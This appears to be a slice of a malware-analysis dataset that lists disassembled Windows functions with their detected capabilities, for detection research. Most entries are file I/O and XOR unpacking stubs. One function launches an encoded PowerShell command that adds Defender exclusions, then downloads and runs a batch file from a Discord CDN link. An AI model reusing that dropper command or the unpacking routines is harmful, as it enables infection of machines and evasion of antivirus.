joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408ed2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
push esi
push edi
xor edi, edi
push edi
push pe_nt_image_headers32
push 3
push edi
push 1
push 0x80000000
push dword [esp + 0x2c]
mov ebp, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x408f56
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
push edi
push dword [0x466960]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x408f4e
push ebp
lea eax, [esp + 0x1c]
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408f3f
cmp dword [esp + 0x18], ebx
jne 0x408f3f
push ebx
push edi
push dword [esp + 0x1c]
call fcn.00409bb6
mov ebp, eax
push edi
push 0
push dword [0x466960]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
pop esi
mov eax, ebp
pop ebp
ret 0xc

Function at 0x40b320
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov eax, dword [edi]
test eax, eax
je 0x40b352
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b34d
cmp dword [esp + 0xc], esi
je 0x40b369
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [edi + 4]
add eax, dword [edi + 8]
push esi
push dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [edi + 8], esi
pop edi
mov eax, 1
pop esi
ret

Function at 0x40daf0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov dword [esp + 4], 0
cmp dword [esi + 0x14], 0
jne 0x40db2c
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi + 0xc]
push eax
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi + 8]
mov dword [esi + 0xc], eax
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 4
xor eax, eax
pop esi
pop ecx
ret 4
Function at 0x40de60
Capabilities:
Write file on windows

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
mov dword [esp], 0
test edx, edx
je 0x40df68
cmp word [edx], 0
je 0x40df68
mov ecx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0xc]
test ecx, ecx
jne 0x40de8e
mov ecx, dword [esi + 0x18]
push edi
cmp ecx, 0x19
jne 0x40deed
cmp dword [esi + 4], 0
mov ecx, edx
lea edi, [ecx + 2]
je 0x40dec0
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40dea0
sub ecx, edi
sar ecx, 1
lea eax, [ecx + ecx]
push eax
push edx
push esi
call fcn.0040df70
pop edi
pop esi
pop ecx
ret 0xc
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40dec0
sub ecx, edi
lea eax, [esp + 8]
push 0
sar ecx, 1
push eax
lea eax, [ecx + ecx]
push eax
push edx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
xor eax, eax
cmp ecx, 2
lea ecx, [esp + 0x14]
setne al
push ecx
dec eax
and eax, 0xfde9
push edx
push eax
call fcn.0040e080
mov edi, eax
test edi, edi
je 0x40dee3
cmp dword [esi + 4], 0
je 0x40df3b
push dword [esp + 0x14]
push edi
push esi
call fcn.0040df70
push edi
push 0
push dword [0x466960]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
push 0
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x1c]
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
push 0
push dword [0x466960]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
xor eax, eax
pop ecx
ret 0xc
Function at 0x40df70
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [esp + 0x14]
mov dword [esp + 4], 0
cmp dword [esi + 0x1c], 0
jne 0x40e077
cmp dword [esi + 0x14], 1
jne 0x40dfbb
mov eax, dword [esi + 0xc]
lea ecx, [esp + 0xc]
push 1
neg eax
cdq
push ecx
push eax
push dword [esi]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xc]
push edi
mov edi, dword [esp + 0x20]
cmp eax, edi
jle 0x40e038
mov ecx, dword [esi + 8]
add ecx, dword [esi + 4]
sub ecx, eax
mov eax, edi
dec eax
je 0x40e023
dec eax
je 0x40e00c
sub eax, 2
je 0x40dff7
push edi
push dword [esp + 0x20]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x1c]
mov ax, word [eax]
mov word [ecx], ax
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x1c]
mov al, byte [eax]
mov byte [ecx], al
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
push esi
call fcn.0040daf0
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x40e065
push 0
lea eax, [esp + 0xc]
push eax
push edi
push dword [esp + 0x28]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0xc
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
push edi
push dword [esp + 0x20]
add ecx, eax
jmp 0x40dfe1
xor eax, eax
pop esi
add esp, 0xc
ret 0xc

Function at 0x417c70
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x417c90
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x417c90
mov eax, dword [eax + 0x44]
test eax, eax
je 0x417c90
push dword [esp + 8]
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x415fa3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x415fb2
pop dword [ebp - 0x20]
mov eax, 0x360c4583
sub eax, 0x35cae5d1
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3d0b0
push 0
mov eax, 0x36f86e71
add eax, 0xc949e3a7
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x316961c8
sub ecx, 0x31691cf0
xor edi, edi
add edi, eax
mov esi, 0xefe0d056
add esi, 0x106283aa
add esi, dword [ebp - 0x20]
mov ebx, 0x88c76e4d
add ebx, 0xaf848590
add dword [ebp - 8], ebx
mov edx, dword [esi]
xor dword [ebp - 0xc], 0x94fcaa0d
add edx, ebx
add dword [ebp - 0x14], esi
mov dword [edi], edx
sub dword [ebp - 0x18], edx
add edi, 0x5b64c147
sub edi, 0x5b64c143
add esi, 0x8faefa86
sub esi, 0x8faefa82
loop 0x416013
add eax, 0x10633
xor ebx, ebx
add ebx, eax
add eax, 0x8a088544
add eax, 0x75f77ac1
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x417f2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x417f3d
pop dword [ebp - 0x48]
mov eax, 0x417f3d
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x39bbc
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x25614c0a
sub ecx, 0x2561014d
xor edx, edx
add edx, eax
mov ebx, 0x6f78af28
add ebx, 0x90cabed8
add ebx, dword [ebp - 0x48]
mov esi, 0xc13876d3
sub esi, 0x6fc60a24
sub dword [ebp - 4], 0xf83c8fd3
mov edi, dword [ebx]
mov dword [ebp - 0x30], 0x9f650dcc
xor edi, esi
sub dword [ebp - 0x38], 0xc459ff3e
mov dword [edx], edi
add dword [ebp - 0x28], ebx
add edx, 4
add ebx, 4
loop 0x417f94
add eax, 0x11dc7
mov ebx, eax
add eax, 0x751a7f69
sub eax, 0x751a7f64
mov ecx, 0x8e3250d4
add ecx, 0x720daf2c
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x41e7e0
Capabilities:
Check os version
Get common file path

Disassembly:
sub esp, 0x2d4
push esi
call dword [sym.imp.kernel32.dll_GetVersion]
cmp ax, 6
je 0x41e81d
push str.SetDefaultDllDirectories
push 0x429a14
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x41e81d
push 0xc00
call eax
test eax, eax
jne 0x41e8b6
lea eax, [esp + 8]
push 0x106
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
test eax, eax
je 0x41e8b6
cmp eax, 0x104
ja 0x41e8b6
cmp word [esp + eax*2 + 6], 0x5c
je 0x41e84c
mov word [esp + eax*2 + 8], 0x5c
inc eax
mov esi, dword [str.userenv]
cmp byte [esi], 0
je 0x41e8b6
push ebp
lea ecx, [esp + eax*2 + 0xc]
push edi
mov edi, dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov dword [esp + 0xc], ecx
mov ebp, 0x6c
mov cl, byte [esi]
mov eax, dword [esp + 0xc]
inc esi
test cl, cl
je 0x41e88b
xor dx, dx
add eax, 2
mov dl, cl
inc esi
mov word [eax - 2], dx
mov cl, byte [esi - 1]
test cl, cl
jne 0x41e877
mov word [eax], 0x2e
mov word [eax + 2], 0x64
mov word [eax + 4], bp
mov word [eax + 6], bp
mov word [eax + 8], 0
push 8
lea eax, [esp + 0x14]
push 0
push eax
call edi
cmp byte [esi], 0
jne 0x41e86c
pop edi
pop ebp
pop esi
add esp, 0x2d4
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAHcAcwByACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcQBrAHIAIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQBoAGsAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAZQBoAGEAIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAyADEANQAzADAAOQAzADMAMwA0ADUAMAAwADYAMwA5ADEANQAvADEAMgAzADAAOQAyADAAMQA5ADYANQA1ADQANwA1ADYAMQA5ADcALwBtAGEAaQBuAF8AbwBiAGYALgBiAGEAdAA_AGUAeAA9ADYANgAzADUAMQAyAGMANAAmAGkAcwA9ADYANgAyADIAOQBkAGMANAAmAGgAbQA9AGUAYQBiADMANgBkADcAMwAzADkAMwAwADYANAAzAGMAYgAzAGYAZQAwADIAZABmADgAOQA1AGUAZgAyAGMAYgBmADYANQA2AGQAYgA1ADQAZgAyAGIANgBmAGUAZQBjAGEAZQBiADIAYgAzADgAMAAyADgANwA4ADEAYgA2AGMAJgAnACwAIAA8ACMAaQBlAGwAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwByAHgAcQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACAAPAAjAGsAYwBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUALgBiAGEAdAAnACkAKQA8ACMAeQB2AGgAIwAADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeQB6AHoAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUAIAA8ACMAdQBlAGEAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARgBpAGwAZQAuAGIAYQB0ACcAKQA8ACMAYgBkAHQAIwAAA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x47472e
Capabilities:
Encode data using xor

Disassembly:
and cl, byte [ecx + 0x5f03f60d]
mov byte [0xd596b503], al
and byte [edi - 0x12f318f6], ch
mov dword [0xa25f03f6], ecx
add esi, dword [ebp - 0x50df2a6a]
or ah, bh
or al, 0xed
push ebp
push ss
cmc
xor byte [ecx], ch
imul ebp, dword [0xe0b6d101], 0x8662649d
loope 0x47473b
loop 0x47472f
out 0xa8, eax
mov al, byte [0x5c4a9879]
in eax, 0xf8
ret 0x7ba1
Function at 0x59e5fe
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0xf11fabd0]
aad 0xd6
add dword [edi], esi
lodsd eax, dword [esi]
in eax, 0x76
xchg ebp, eax
xchg ebp, eax
push ecx
push edi
push cs
push ebx
invalid
sub cl, bl
invalid
sub esi, dword [esi]
movsd dword es:[edi], dword [esi]
loopne 0x59e527
or al, 0x96
add bh, dl
dec edi
inc ebp
or edx, ecx
pop edi
les eax, [edi - 0x16]
push ecx
add eax, 0x688db085
stosd dword es:[edi], eax
salc
xor esp, dword [edx - 0x52]
pop ss
dec eax
xchg ecx, eax
bound ebp, qword [esi - 0x6e0db7e9]
bound ebx, qword [ecx + 0x11]
in eax, 0x42
jnp 0x59e5ae
push edx
jae 0x59e5ca
dec dword [edx - 0x1844bef5]
xlatb
and dword [ebx - 0x53aa88eb], esi
jne 0x59e589
bound edx, qword [ecx + 0x6b]
ret 0xcb75
mov ch, 0x86
mov dword [ecx - 0x145d0f0d], edx
scasb al, byte es:[edi]
xor dword [ebp + 0x72], edx
xor byte [eax - 0x33], 0x46
repne scasd eax, dword es:[edi]
add eax, 0xfe3374e
mov dword [edx + 0x76eb1512], edi
jmp 0x5287b712
jmp 0x59e565
jbe 0x59e5b5
inc edx
shr dword [0xf056b052], 1
jecxz 0x59e5ed
xor ebx, dword [ebp - 0x3a365dcd]
push ebp
sti
mov byte [0xfb55c5c9], al
outsb dx, byte [esi]
sbb dh, dh
jo 0x59e5d5
sub esi, esi
jo 0x59e56e
sbb esi, dword cs:[esp + esi*8 + 0x35]
rol dword [ecx + eax*2 + 0x51f35577], 0x9c
inc ecx
ja 0x59e645
push ecx
pushfd
lodsb al, byte [esi]
mov eax, 0xe1036b83
push edi
aas
pushfd
movsb byte es:[edi], byte [esi]
out dx, al
xchg ebp, eax
and dword [edi + 0x49], 0x30
rcr byte [edx], cl
test dword [ecx], ebx
insd dword es:[edi], dx
lcall 0xfb08, 0xf1edf120
popfd
jb 0x59e5eb
dec ebx
push edx
push 0xffffffffffffffbd
sbb dword [edi - 0x7c], edx
xor ch, byte [eax + ebx]
pop ebx
daa
or ebx, dword [edi + 0x50]
jb 0x59e5d8
invalid
adc ch, byte [ebx]
pushfd
mov dword [0x74ad3b25], eax
lahf
and dh, byte [esi - 0x1056183e]
in eax, dx
stc
push ss
aam 3
add ecx, 0x8134b3c5
popfd
adc byte [ebp + 0x41fc95c2], 0xbe
stosw word es:[edi], ax
sbb dword [ebp - 0x6a3d6a7e], 0x66be41fc
stosd dword es:[edi], eax
and eax, 0xb991279f
sbb ebp, dword [0xf93d0e33]
wait
lahf
xor ecx, dword [esi]
cmp eax, 0x9f9b36f9
push es
adc ebp, dword [edx]
sub edi, dword [0x7da95513]
jnp 0x59e6cb
mov bl, 0x3a
paddw mm3, mm4
adc eax, 0xc9218d4c
inc eax
xor esi, dword [edi]
sbb ebp, 0x43873623
not byte [esi]
fld qword [ecx + 0x3c0fa3a2]
aas
std
jmp 0x4062a963
stc
dec ebp
adc al, 0xc1
push esp
xchg ebx, eax
jl 0x59e62c
cmpsb byte [esi], byte es:[edi]
dec ebx
in eax, dx
cmp dword [ebp + 0xda360d7], edi
fcom dword [edi - 0x65514eda]
jmp 0x59e657
aad 0x16
inc ebx
add eax, 0x3e2b3517
xchg byte [edi - 0x1bb0eb7a], dl
dec edi
in al, 0x93
xchg ebx, eax
push edx
js 0x59e6a2
push ebp
aam 0x51
push ss
xor byte [ebx], 0xb2
fcom dword [ecx - 0x5cabbec7]
jne 0x59e6d9
mov dl, 0xd8
xchg ecx, eax
cmp dword [ecx + 0x54], eax
mov dword [0xccc0ed75], eax
aam 0xa5
ror ah, 0xd4
movsd dword es:[edi], dword [esi]
jns 0x59e6d7
mov esp, 0x8291a0b9
stosb byte es:[edi], al
jmp 0x59e747
sub al, 0x71
out 0xca, al
mov bh, 0xc8
or eax, 0x27583d69
loopne 0x59e7ab
cmp byte [ecx + 0x1604829f], 0x5c
sbb al, 0xb5
jmp 0x59e6e3
lea eax, [esi - 0x780d7658]
clc
add eax, 0xff0b89de
pop ecx
fldl2e
sar ah, 1
pop ss
invalid
Function at 0x6420fe
Capabilities:
Encode data using xor

Disassembly:
retf 0xe724
jbe 0x6420dc
and ah, byte [eax - 0x76]
cmpsd dword [esi], dword es:[edi]
out 0x56, al
sti
loopne 0x64215f
sbb dl, byte [ecx - 0x17aaa995]
test byte [edi], bl
ror bl, 1
inc ecx
xor al, 0xc6
popal
mov al, byte [0x6ce594e4]
inc ebp
mov bh, 0xb7
ret
xor edx, dword [ebx + 0x31e4c821]
xor dword [edx + ebp*8], esp
clc
rcr dword [edx + 0x62], 1
stc
inc edi
push ebp
daa
sal edi, 0xc
invalid
adc ah, byte [eax - 0x4f]
scasd eax, dword es:[edi]
mov dh, 0x3a
jbe 0x64218e
fsubr qword ss:[eax + 0x14dfe1e0]
salc
push ss
dec ebp
cmp dword [esi + 0x42f28e46], 0xf8161edd
push di
in al, dx
popal
mov al, 0xd7
cmpsb byte [esi], byte es:[edi]
salc
inc esp
mov bh, 0x9d
pop ss
xchg byte [ecx + 0x398e99b6], ch
and edi, ecx
stc
adc eax, 0xc43eda7b
cmp eax, 0xad5d4f59
js 0x642144
movsb byte es:[edi], byte [esi]
mov esi, 0xfd9de0b9
and dword [eax - 0x27], ecx
je 0x64215f
xor eax, 0xbc323a1
push edi
sbb ah, al
push esi
retf 0x5e66

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4068a5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068c9
xor eax, eax
test eax, eax
je 0x4068dc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068dc
xor ecx, ecx
jmp 0x4068df
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a02
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ac], 0
push esi
jne 0x406a39
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a13
mov dword [ecx*4 + 0x4275a8], eax
inc ecx
cmp ecx, 0x100
jl 0x406a0e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a6a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275a8]
xor eax, esi
inc ecx
dec edx
jne 0x406a4c
pop edi
not eax
pop esi
ret 0xc

Function at 0x10076a2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0xc0000000
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.kernel32.dll_GetFileSize]
mov dword [ebp + 8], eax
mov ecx, eax
call fcn.0100774e
mov esi, eax
push 0
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 8]
push eax
push edi
call dword [sym.imp.kernel32.dll_ReadFile]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
test esi, esi
jne 0x1007745
push 0x10
cmp byte [0x1056bf7], 0
jne 0x100770f
push str.Typhon:_error
push ebx
push str.Typhon:_file__s_is_not_found
jmp 0x100771a
push 0x1027cd9
push ebx
push 0x1027cf5
push 0x697428
call dword [0x102101f]
add esp, 0xc
push 0x697428
push dword [0x699650]
call dword [0x63a298]
mov ecx, 0x67f658
mov eax, 0x4f3d20
call eax
mov eax, esi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x42b65f
Capabilities:
Encode data using xor

Disassembly:
xor byte [edi], ah
pop esi
cmp eax, 0x1c9b420f
cmp al, 0x79
add byte [ebx], al
mov bl, 0x4a
inc esp
insb byte es:[edi], dx
out 0xcb, eax
cmc
cmp eax, 0x8053c8ee
insb byte es:[edi], dx
sub eax, 0xa79979d2
mov dl, 0xbe
mov esi, dword [eax + 0x74e9a56f]
jnp 0x42b6ac
mov al, byte [0x1cac5c05]
cli
cli
dec ebp
xor al, 0x3b
mov cl, 0xa0
mov bl, 0xd4
push ecx
mov byte [ebx + 0x46924bf7], al
xchg esp, eax
inc esp
jecxz 0x42b68d
sbb dh, byte [0xd0c30b65]
bound ebp, qword [edi + edi*4]
outsb dx, byte [esi]
xor bl, bh
dec ebx
adc eax, dword [ebp - 0x30d32c03]
fisttp word [ebx + 0x13]
test ebp, edi
shr dword [edi + ecx*8], cl
xchg esp, eax
nop
insb byte es:[edi], dx
xchg ebx, eax
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x3634d9e9], 0x90
dec edi
push es
mov al, byte [0xd5e9f51]
stosd dword es:[edi], eax
sbb al, 0x22
mov edx, 0xd9014ed6
mov esi, eax
int1
cld
cmpsb byte [esi], byte es:[edi]
dec edi
sub dword [edi + 0x3c], edi
sub dword [edx + 0x16c51ab9], eax
in eax, 0x91
add dword [ebp + 0x2f], edx
jno 0x42b722
xor dword [ebx - 0x7f], 0xb399335d
dec edx
pop edx
pop ebx
or byte [ebx + eax*4 - 0x5602d8b3], ch
lodsb al, byte [esi]
dec edi
push ss
xchg edx, eax
jle 0x42b6af
mov bl, 0x51
push ecx
mov byte [0x444b92cd], al
mov eax, dword [0x84029934]
je 0x42b6f9
lahf
aas
inc ecx
movsd dword es:[edi], dword [esi]
dec eax
add esp, dword [edx + 0x375254b3]
loop 0x42b6fb
ret
std
lea ecx, [edi + edi*8]
push edi
xor ecx, dword [ebx - 0x32fa0668]
xor dh, dl
sbb edi, dword [ecx + 0xdafef32]
xchg dword [ecx - 0x7df8291d], esp
xor esi, dword [eax + edx - 3]
test dword [esi], ecx
mov al, 0xd3
sbb al, 0xf7
jg 0x42b74f
jl 0x42b774
mul byte [edi + 0x3b57d3af]
sal byte [ecx - 0x3c], 1
cmp edx, eax
jno 0x42b717
bound ebx, qword [eax + edi*8 - 0x79fa4d36]
shr dword [eax + 0x22], 1
mov ebp, 0xdd57445c
mov byte [0xbdf71d31], al
push ebx
cld
jbe 0x42b7e7
sub byte [edi - 0x4c5e6fa0], dl
adc eax, 0x570920bd
inc ebp
or dword [edi + 0x45], edx
add ch, bl
jb 0x42b7e9
pushal
adc byte [eax + 0x7f], 0x40
add ecx, edi
inc edx
xor dh, ah
pop edx
and al, 0xbd
and al, byte [ebx - 0x30]
pushal
sub bl, byte [0xc7af21db]
in al, dx
shl byte [esi - 0x438aa60d], 0x24
add edx, dword [ebx - 0x2cc3de10]
mov esp, 0xf0930324
and dword [ebx + edx*8], edi
mov dl, 0x92
out 0xd2, eax
xor al, 0x59
xor eax, 0xef110da2
adc dword [edi + esi*4 - 0x6554d2b], 0xf2afb893
mov ebp, 0xfda22674
arpl sp, bx
mov al, byte [0x1e0c8938]
mov dword [esi + ebx], ecx
neg dword gs:[ebx]
pop ecx
dec ebx
jg 0x42b798
sar byte [ebx], cl
cmp bh, al
pop edx
sub eax, dword [esi]
movsb byte es:[edi], byte [esi]
or al, 0x93
scasd eax, dword es:[edi]
xor ebp, dword [esi + 0x45]
mov eax, dword [0x5fb38152]
movsb byte es:[edi], byte [esi]
fisttp word [ecx]
jmp 0xee724b22
salc
dec edx
int 0x13
rcr dword [0xb6137d77], 0xf8
das
mov bl, 0xa8
push edi
lcall 0xc34d, 0x5af7ca29
sbb al, 0x19
lodsb al, byte [esi]
push cs
add byte [edx + 0x2640dd71], bl
aaa
and eax, 0x53627dd2
sbb dword [ecx - 0x4c], ebx
dec esp
invalid
Function at 0x43b28f
Capabilities:
Encode data using xor

Disassembly:
int 0xc1
cmp al, 0xb5
out dx, al
mov ecx, 0x2fdeaad4
adc al, 0xcf
outsd dx, dword [esi]
sbb ebx, dword [edi]
mov edi, ebp
enter 0xffffffffffffe1ed, 0xffffffffffffffdd
in al, dx
push ds
imul esi, dword [eax + 0x73d232ad], 0xffffff8a
fcomp qword [ebx]
out dx, al
mov esp, 0x1ef29e50
jl 0x43b274
mov byte [0xbf33d291], al
std
scasb al, byte es:[edi]
invalid
mov al, byte [0xd1ad23d1]
adc esi, dword [edx]
cmp ah, bl
out 0xcf, al
xchg edx, eax
push ebx
clc
out 0x1a, al
pop ebp
lodsb al, byte gs:[esi]
mov fs, word [ebx + 0x65c0cc5f]
inc edx
sub dword [esi + ecx + 0x6e], edi
jl 0x43b29f
outsb dx, byte [esi]
jl 0x43b29f
outsb dx, byte [esi]
pop es
or dl, byte [eax + 0x73]
cmp edx, dword [esi + 0x18789683]
movsd dword es:[edi], dword [esi]
jb 0x43b22d
mov es, ebp
aad 0x10
mov eax, dword [0x4d52387d]
jae 0x43b2ed
inc esp
fnstcw word [ebx + 0x29]
rol ecx, cl
cli
or ah, byte ss:[eax + 0x7ed1b992]
mov edx, 0x33ada6ce
and eax, 0x2062b4ac
xor al, byte [edi]
pop eax
and byte [edi + 0x6f79e6e1], ch
and byte [edx], dh
xchg edx, eax
arpl bp, cx
xor dword [eax - 0x3c], ecx
fisttp word [edx + 0x12efc38d]
cmpsb byte [esi], byte es:[edi]
salc
or dword [esi - 8], esi
and byte [0xcd8bcf71], 0x51
int 0x51
inc edi
add ebp, dword [esi]
les edi, [ebp + 0x4f]
xor byte [edi + 0x79], bh
jg 0x43b368
sub eax, 0xe9bd6250
outsd dx, dword [esi]
lodsb al, byte [esi]
cmp eax, 0x83528c70
jae 0x43b36a
fadd st(4), st(0)
xchg esp, eax
sub al, 0x9f
push ebp
jg 0x43b36e
inc ebx
sub eax, 0x71484dde
mov ecx, 0xd570ccf
add byte [eax - 0x21d9b75a], ah
add ecx, dword [ebp - 0x14]
dec ebp
in al, dx
wait
jns 0x43b2e4
mov byte [0xe50c0f63], al
mov dword fs:[0x5e16521c], eax
loopne 0x43b358
sbb al, 0x83
sbb edi, ecx
pop ebp
mov eax, cr1
jle 0x43b318
leave
rcl dword [esi + 0x7e], 0xec
jbe 0x43b3b9
in al, 0x27
cwde
cld
les edi, [ebp - 0x30]
and edx, dword [esi - 0x5ef3a40d]
jae 0x43b3a9
xor edi, dword cs:[eax + eax + 0x14]
or eax, 0x45a35560
add dword [ebp - 0x40], ebp
adc al, 0xd
pushal
push ebp
mov dword [0xc06d0145], eax
mov dh, 0
mov dh, 0
and dword [eax - 0x58160b69], 0x2c25744a
or dl, dh
or edx, dword [eax - 0x30]
